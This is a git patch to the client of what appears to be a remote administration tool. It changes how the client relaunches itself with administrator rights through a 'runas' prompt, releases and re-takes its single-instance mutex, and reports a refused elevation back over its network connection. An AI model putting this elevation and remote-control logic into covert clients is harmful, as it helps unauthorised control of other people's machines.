From 9b0e1d8a230e0d5fdd9b150d59f91e82d197e085 Mon Sep 17 00:00:00 2001 From: LostSoulFly Date: Fri, 18 Mar 2016 13:46:13 -0400 Subject: [PATCH] Improve HandleAskElevate. Have to ClostMutex otherwise the new elevated client won't stay open. --- Client/Core/Commands/SystemHandler.cs | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/Client/Core/Commands/SystemHandler.cs b/Client/Core/Commands/SystemHandler.cs index 903a378b..3ced4d74 100644 --- a/Client/Core/Commands/SystemHandler.cs +++ b/Client/Core/Commands/SystemHandler.cs @@ -6,12 +6,12 @@ using System.Linq; using System.Net.NetworkInformation; using System.Windows.Forms; using Microsoft.Win32; +using xClient.Config; using xClient.Core.Extensions; using xClient.Core.Helper; using xClient.Core.Networking; using xClient.Core.Utilities; using xClient.Enums; -using xClient.Core.Helper; namespace xClient.Core.Commands { @@ -448,6 +448,7 @@ namespace xClient.Core.Commands proc.WorkingDirectory = Environment.CurrentDirectory; proc.FileName = Application.ExecutablePath; proc.Verb = "runas"; + MutexHelper.CloseMutex(); //Close the mutex so our new process will run try { @@ -456,9 +457,10 @@ namespace xClient.Core.Commands catch { new Packets.ClientPackets.SetStatus("User refused the elevation request").Execute(client); + MutexHelper.CreateMutex(Settings.MUTEX); //Re-grab the mutex return; } - Application.Exit(); + Program.ConnectClient.Exit(); } else {